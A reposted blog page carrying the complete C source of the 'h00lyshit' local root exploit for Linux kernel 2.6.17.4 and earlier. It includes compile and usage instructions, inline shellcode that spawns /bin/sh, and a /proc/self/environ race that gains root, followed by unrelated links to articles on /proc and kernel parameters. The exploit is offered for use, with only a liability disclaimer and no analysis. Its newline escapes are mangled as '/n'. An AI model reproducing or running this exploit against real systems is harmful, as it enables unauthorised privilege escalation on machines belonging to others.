Linux Kernel <= 2.6.17.4 (/proc) Local Root Exploit

转载 2007年10月11日 21:46:00
Rated as : Critical Risk
/*
** Author: h00lyshit
** Vulnerable: Linux 2.6 ALL
** Type of Vulnerability: Local Race
** Tested On : various distros
** Vendor Status: unknown
**
** Disclaimer:
** In no event shall the author be liable for any damages
** whatsoever arising out of or in connection with the use
** or spread of this information.
** Any use of this information is at the user's own risk.
**
** Compile:
** gcc h00lyshit.c -o h00lyshit
**
** Usage:
** h00lyshit <very big file on the disk>
**
** Example:
** h00lyshit /usr/X11R6/lib/libethereal.so.0.0.1
**
** if y0u dont have one, make big file (~100MB) in /tmp with dd
** and try to junk the cache e.g. cat /usr/lib/* >/dev/null
**
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <linux/a.out.h>
#include <asm/unistd.h>


static struct exec ex;
static char *e[256];
static char *a[4];
static char b[512];
static char t[256];
static volatile int *c;


/* h00lyshit shell code */
__asm__ (" __excode: call 1f /n"
" 1: mov $23, %eax /n"
" xor %ebx, %ebx /n"
" int $0x80 /n"
" pop %eax /n"
" mov $cmd-1b, %ebx /n"
" add %eax, %ebx /n"
" mov $arg-1b, %ecx /n"
" add %eax, %ecx /n"
" mov %ebx, (%ecx) /n"
" mov %ecx, %edx /n"
" add $4, %edx /n"
" mov $11, %eax /n"
" int $0x80 /n"
" mov $1, %eax /n"
" int $0x80 /n"
" arg: .quad 0x00, 0x00 /n"
" cmd: .string /"/bin/sh/" /n"
" __excode_e: nop /n"
" .global __excode /n"
" .global __excode_e /n"
);



extern void (*__excode) (void);
extern void (*__excode_e) (void);


void
error (char *err)
{
  perror (err);
  fflush (stderr);
  exit (1);
}


/* exploit this shit */
void
exploit (char *file)
{
  int i, fd;
  void *p;
  struct stat st;

  printf ("/ntrying to exploit %s/n/n", file);
  fflush (stdout);
  chmod ("/proc/self/environ", 04755);
  c = mmap (0, 4096, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS,
0, 0);
  memset ((void *) c, 0, 4096);

  /*      slow down machine       */
  fd = open (file, O_RDONLY);
  fstat (fd, &st);
  p =
    (void *) mmap (0, st.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd,
0);
  if (p == MAP_FAILED)
    error ("mmap");
  prctl (PR_SET_DUMPABLE, 0, 0, 0, 0);
  sprintf (t, "/proc/%d/environ", getpid ());
  sched_yield ();
  execve (NULL, a, e);
  madvise (0, 0, MADV_WILLNEED);
  i = fork ();

  /*      give it a try           */
  if (i)
    {    
      (*c)++;
      !madvise (p, st.st_size, MADV_WILLNEED) ? : error
("madvise");
      prctl (PR_SET_DUMPABLE, 1, 0, 0, 0);
      sched_yield ();
    }
  else
    {
    nice(10);
    while (!(*c));
sched_yield ();
      execve (t, a, e);
      error ("failed");
    }

  waitpid (i, NULL, 0);
  exit (0);
}


int
main (int ac, char **av)
{
  int i, j, k, s;
  char *p;

  memset (e, 0, sizeof (e));
  memset (a, 0, sizeof (a));
  a[0] = strdup (av[0]);
  a[1] = strdup (av[0]);
  a[2] = strdup (av[1]);

  if (ac < 2)
    error ("usage: binary <big file name>");
  if (ac > 2)
    exploit (av[2]);
  printf ("/npreparing");
  fflush (stdout);

  /*      make setuid a.out       */
  memset (&ex, 0, sizeof (ex));
  N_SET_MAGIC (ex, NMAGIC);
  N_SET_MACHTYPE (ex, M_386);
  s = ((unsigned) &__excode_e) - (unsigned) &__excode;
  ex.a_text = s;
  ex.a_syms = -(s + sizeof (ex));

  memset (b, 0, sizeof (b));
  memcpy (b, &ex, sizeof (ex));
  memcpy (b + sizeof (ex), &__excode, s);

  /*      make environment        */
  p = b;
  s += sizeof (ex);
  j = 0;
  for (i = k = 0; i < s; i++)
    {
      if (!p[i])
{
  e[j++] = &p[k];
  k = i + 1;
}
    }

  /*      reexec                  */
  getcwd (t, sizeof (t));
  strcat (t, "/");
  strcat (t, av[0]);
  execve (t, a, e);
  error ("execve");
  return 0;
}
 

[Linux] 内核的 /proc 文件系统介绍及使用方法

内核现在采用的是 sysfs 文件系统。 在 sysfs 诞生之前我们采用的是 proc 文件系统。 sysfs 是一个与 /proc 类似的文件系统,但是它的组织更好(从 /proc 中学习了很...
  • dearsq
  • dearsq
  • 2016年06月27日 18:13
  • 8856

Linux内核参数配置文件修改(/proc/sys与/etc/sysctl.conf变量对应关系)

转载jadylen 的BLOG 作品,原始出处:http://linxucn.blog.51cto.com/1360306/740130 设置Linux内核参数 /etc/sysctl.conf   ...
  • zmken497300
  • zmken497300
  • 2016年06月28日 22:09
  • 2833

linux kernel内存映射实例分析

引子 现在android智能手机市场异常火热,硬件升级非常迅猛,arm cortex A9 + 1GB DDR似乎已经跟不上主流配置了。虽说硬件是王道,可我们还是不禁还怀疑这么强大的硬件配置得到充分...
  • michaelcao1980
  • michaelcao1980
  • 2013年10月25日 15:28
  • 4282

嵌入式linux之hotplug_uevent驱动(热拔插)

mdev是udev的简化版本,是busybox中所带的程序,最适合用在嵌入式系统,而udev一般用在PC上的linux中,相对mdev来说要复杂些,devfs是2.4内核引入的,而在2.6内核中却被u...
  • u013426958
  • u013426958
  • 2015年09月05日 09:06
  • 1276

调整内核printk的打印级别

有时调试内核模块,打印信息太多了,可以通过修改/proc/sys/kernel/printk文件内容来控制。 默认设置是7   4   1   7 # cat /proc/sys/kern...
  • tonywgx
  • tonywgx
  • 2013年12月23日 14:10
  • 12299

linux驱动——cmdline原理及利用

最近项目中想要内核qi
  • sgmenghuo
  • sgmenghuo
  • 2014年11月18日 19:25
  • 2536

通过/proc查看Linux内核态调用栈来定位问题

前几天碰到一个问题:一个进程运行过程中挂死了,把gdb挂上去之后bt打印的内容为空,后来通过查看 /proc 文件系统,查看程的调用栈,才发现是发消息给内核态程序时,内核态一直没有响应,导致用户态进程...
  • hintonic
  • hintonic
  • 2014年01月08日 17:25
  • 5905

Linux内核模块编程-proc文件系统

什么是procproc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。用户和应用程序可以通过proc得到系统的信息,并可以改变内核的某...
  • zhangyifei216
  • zhangyifei216
  • 2015年11月11日 22:49
  • 1378

linux kernel的cmdline参数解析原理分析

依据我的思路(时间顺序,如何开始,如何结束),首先看kernel下2种参数的注册。 第一种是kernel通用参数,如console=ttyS0,115200 root=/rdinit/init等。这...
  • skyflying2012
  • skyflying2012
  • 2014年11月15日 09:43
  • 21315

Linux内核模块编程-proc文件系统进阶

proc作为输入关于proc的一些基本概念和基本使用以及一些核心数据结构可以参考我的上一篇文章 在上一篇文章中提到了利用proc作为内核空间传递数据给用户空间的一种方式,那么proc能否作为用户空间...
  • zhangyifei216
  • zhangyifei216
  • 2015年11月14日 11:04
  • 1037
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:Linux Kernel <= 2.6.17.4 (/proc) Local Root Exploit
举报原因:
原因补充:

(最多只允许输入30个字)